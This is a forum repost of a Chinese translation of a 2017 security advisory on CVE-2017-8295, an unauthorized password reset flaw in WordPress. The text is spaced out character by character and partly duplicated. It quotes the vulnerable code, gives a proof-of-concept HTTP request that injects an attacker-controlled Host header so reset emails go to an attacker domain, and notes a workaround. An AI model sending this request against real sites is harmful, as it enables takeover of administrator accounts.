搜索

[11311] 2017-05-05_WordPress曝未经授权的密码重置漏洞（CVE-2017-8295）

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-18
2017-05-05_WordPress曝未经授权的密码重置漏洞（CVE-2017-8295） W o r d P r e s s 曝 未 经 授 权 的 密 码 重 置 漏 洞 （ C V E - 2 0 1 7 - 8 2 9 5   ） 鸢 尾   F r e e B u f   2 0 1 7 - 0 5 - 0 5 漏 洞 提 交 者 ： D a w i d   G o l u n s k i 漏 洞 编 号 ： C V E - 2 0 1 7 - 8 2 9 5 发 布 日 期 ： 2 0 1 7 - 0 5 - 0 3 修 订 版 本 ： 1 . 0 漏 洞 危 害 ： 中 / 高 I .   漏 洞 漏 洞 W o r d P r e s s 内 核 < =   4 . 7 . 4 存 在 未 经 授 权 的 密 码 重 置 ( 0 d a y ) I I .   背 景 背 景 W o r d P r e s s 是 一 个 以 P H P 和 M y S Q L 为 平 台 的 自 由 开 源 的 博 客 软 件 和 内 容 管 理 系 统 。 截 止 2 0 1 7 年 2 月 ， A l e x a 排 名 前 1 0 0 0 万 的 站 点 中 约 有 2 7 . 5 % 使 用 该 管 理 系 统 。 据 报 道 有 超 过 6 0 0 0 万 站 点 使 用 W o r d P r e s s 进 行 站 点 管 理 或 者 作 为 博 客 系 统 。 I I I .   介 绍 介 绍 W o r d P r e s s 的 重 置 密 码 功 能 存 在 漏 洞 ， 在 某 些 情 况 下 不 需 要 使 用 之 前 的 身 份 令 牌 验 证 获 取 密 码 重 置 链 接 。 的 重 置 密 码 功 能 存 在 漏 洞 ， 在 某 些 情 况 下 不 需 要 使 用 之 前 的 身 份 令 牌 验 证 获 取 密 码 重 置 链 接 。         该 攻 击 可 导 致 攻 击 者 在 未 经 授 权 的 情 况 下 获 取 用 户 该 攻 击 可 导 致 攻 击 者 在 未 经 授 权 的 情 况 下 获 取 用 户 W o r d p r e s s 后 台 管 理 权 限 。 后 台 管 理 权 限 。 I V .   描 述 描 述 该 漏 洞 源 于 W o r d P r e s s 默 认 使 用 不 可 信 的 数 据 。 当 生 成 一 个 密 码 重 置 邮 件 时 应 当 是 仅 发 送 给 与 帐 户 相 关 联 的 电 子 邮 件 。         从 下 面 的 代 码 片 段 可 以 看 出 ， 在 调 用 P H P   m a i l ( ) 函 数 前 创 建 了 一 个 F r o m   e m a i l 头 - - - - - - [   w p - i n c l u d e s / p l u g g a b l e . p h p   ] - - - - - - . . . i f   (   ! i s s e t (   $ f r o m _ e m a i l   )   )   {                 / /   G e t   t h e   s i t e   d o m a i n   a n d   g e t   r i d   o f   w w w .                 $ s i t e n a m e   =   s t r t o l o w e r (   $ _ S E R V E R [ ' S E R V E R _ N A M E ' ]   ) ;                 i f   (   s u b s t r (   $ s i t e n a m e ,   0 ,   4   )   = =   ' w w w . '   )   {                                 $ s i t e n a m e   =   s u b s t r (   $ s i t e n a m e ,   4   ) ;                 }                 $ f r o m _ e m a i l   =   ' w o r d p r e s s @ '   .   $ s i t e n a m e ; } . . .
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 正 如 我 们 所 看 到 的 ， W o r d p r e s s 为 了 生 成 重 置 邮 件 创 建 的 一 个 F r o m / R e t u r n - P a t h ( 发 件 人 / 收 件 人 ) 头 ， 使 用 S E R V E R _ N A M E 变 量 以 获 取 服 务 器 的 主 机 名 。         然 而 ， 诸 如 A p a c h e 的 主 流 w e b 服 务 器 默 认 使 用 由 客 户 端 提 供 的 主 机 名 来 设 置 S E R V E R _ N A M E 变 量 （ 参 考 A p a c h e 文 档 ）         由 于 S E R V E R _ N A M E 可 以 进 行 修 改 ， 攻 击 者 可 以 任 意 设 置 该 值 ， 例 如 a t t a c k e r s - m x s e r v e r . c o m         这 将 导 致 W o r d p r e s s 的 $ f r o m _ e m a i l 变 为 w o r d p r e s s @ a t t a c k e r s - m x s e r v e r . c o m ， 最 终 导 致 包 含 F r o m / R e t u r n - P a t h ( 发 件 人 / 收 件 人 ) 设 置 的 密 码 重 置 邮 件 发 送 到 了 该 恶 意 邮 件 地 址 。         至 于 攻 击 者 可 以 修 改 哪 那 一 封 电 子 邮 件 的 头 信 息 ， 这 取 决 于 服 务 器 环 境 （ 参 考 P H P 文 档 ）         基 于 邮 件 服 务 器 的 配 置 ， 可 能 导 致 被 修 改 过 邮 件 头 的 恶 意 收 件 人 / 发 件 人 地 址 的 电 子 邮 件 发 送 给 W o r d P r e s s 用 户 。         这 使 得 攻 击 者 能 够 在 不 需 要 进 行 交 互 就 可 以 截 取 本 该 是 需 要 进 行 交 互 才 能 进 行 的 操 作 的 密 码 重 置 邮 件 。 攻 击 场 景 ： 攻 击 场 景 ： 如 果 攻 击 者 知 道 用 户 的 电 子 邮 件 地 址 。 为 了 让 密 码 重 置 邮 件 被 服 务 器 拒 收 ， 或 者 无 法 到 达 目 标 地 址 。 他 们 可 以 先 对 用 户 的 电 子 邮 件 帐 户 进 行 D o S 攻 击 （ 通 过 发 送 多 个 超 过 用 户 磁 盘 配 额 的 大 文 件 邮 件 或 攻 击 该 D N S 服 务 器 ） 某 些 自 动 回 复 可 能 会 附 加 有 邮 件 发 送 副 本 发 送 多 封 密 码 重 置 邮 件 给 用 户 ， 迫 使 用 户 对 这 些 没 完 没 了 的 密 码 重 置 邮 件 进 行 回 复 ， 回 复 中 就 包 含 的 密 码 链 接 会 发 送 给 攻 击 者 。 V .   P O C 如 果 攻 击 者 将 类 似 下 面 的 请 求 发 送 到 默 认 可 通 过 I P 地 址 访 问 的 W o r d p r e s s 安 装 页 面 ( I P - b a s e d   v h o s t ) : - - - - - [   H T T P   R e q u e s t   ] - - - - P O S T   / w p / w o r d p r e s s / w p - l o g i n . p h p ? a c t i o n = l o s t p a s s w o r d   H T T P / 1 . 1 H o s t :   i n j e c t e d - a t t a c k e r s - m x s e r v e r . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   5 6 u s e r _ l o g i n = a d m i n & r e d i r e c t _ t o = & w p - s u b m i t = G e t + N e w + P a s s w o r d - - - - - - - - - - - - - - - - - - - - - - - - W o r d P r e s s 将 触 发 管 理 员 账 户 的 密 码 重 置 功 能         由 于 修 改 了 主 机 头 ， S E R V E R _ N A M E 变 量 将 被 设 置 为 攻 击 者 所 选 择 的 主 机 名 ， 因 此 W o r d p r e s s 会 将 以 下 电 子 邮 件 头 信 息 和 正 文 传 递 给 / u s r / b i n / s e n d m a i l - - - - - - [   r e s u l t i n g   e - m a i l   ] - - - - - S u b j e c t :   [ C o m p a n y X   W P ]   P a s s w o r d   R e s e t R e t u r n - P a t h :   < w o r d p r e s s @ a t t a c k e r s - m x s e r v e r . c o m > F r o m :   W o r d P r e s s < w o r d p r e s s @ a t t a c k e r s - m x s e r v e r . c o m >
M e s s a g e - I D :   < e 6 f d 6 1 4 c 5 d d 8 a 1 c 6 0 4 d f 2 a 7 3 2 e b 7 b 0 1 6 @ a t t a c k e r s - m x s e r v e r . c o m > X - P r i o r i t y :   3 M I M E - V e r s i o n :   1 . 0 C o n t e n t - T y p e :   t e x t / p l a i n ;   c h a r s e t = U T F - 8 C o n t e n t - T r a n s f e r - E n c o d i n g :   8 b i t 有 人 请 求 将 以 下 账 户 的 密 码 进 行 重 置 ： h t t p : / / c o m p a n y X - w p / w p / w o r d p r e s s / U s e r n a m e :   a d m i n 如 果 是 弄 错 了 ， 直 接 忽 略 该 邮 件 就 好 。 重 置 密 码 请 访 问 以 下 地 址 ： h t t p : / / c o m p a n y x - w p / w p / w o r d p r e s s / w p - l o g i n . p h p ? a c t i o n = r p & k e y = A c e i M F m k M R 4 f s m w x I Z t Z & l o g i n = a d m i n % 3 E 正 如 我 们 看 到 的 ， R e t u r n - P a t h ,   F r o m ,   以 及 M e s s a g e - I D 字 段 都 是 攻 击 者 控 制 的 域         通 过 b a s h 脚 本 替 换 / u s r / s b i n / s e n d m a i l 以 执 行 头 的 验 证 ： # ! / b i n / b a s h c a t   >   / t m p / o u t g o i n g - e m a i l V I .   业 务 影 响 业 务 影 响 在 利 用 成 功 的 基 础 上 ， 攻 击 者 可 重 置 用 户 密 码 并 且 未 经 授 权 获 取 W o r d P r e s s 账 户 访 问 权 限 。 V I I .   系 统 影 响 系 统 影 响 W o r d P r e s s 至 最 新 版 本 4 . 7 . 4 全 部 受 影 响 V I I I .   解 决 方 案 解 决 方 案 目 前 没 有 官 方 解 决 方 案 可 用 。 作 为 临 时 解 决 方 案 ， 用 户 可 以 启 用 U s e C a n o n i c a l N a m e 执 行 S E R V E R _ N A M E 静 态 值 （ 参 考 A p a c h e ） I X .   参 考 文 献 参 考 文 献 h t t p s : / / l e g a l h a c k e r s . c o m h t t p s : / / E x p l o i t B o x . i o V e n d o r   s i t e : h t t p s : / / w o r d p r e s s . o r g h t t p : / / h t t p d . a p a c h e . o r g / d o c s / 2 . 4 / m o d / c o r e . h t m l # u s e c a n o n i c a l n a m e h t t p : / / p h p . n e t / m a n u a l / e n / f u n c t i o n . m a i l . p h p h t t p s : / / t o o l s . i e t f . o r g / h t m l / r f c 5 3 2 1 * 参 考 来 源 ： e x p l o i t b o x ， f r e e b u f 小 编 鸢 尾 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . c o m
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理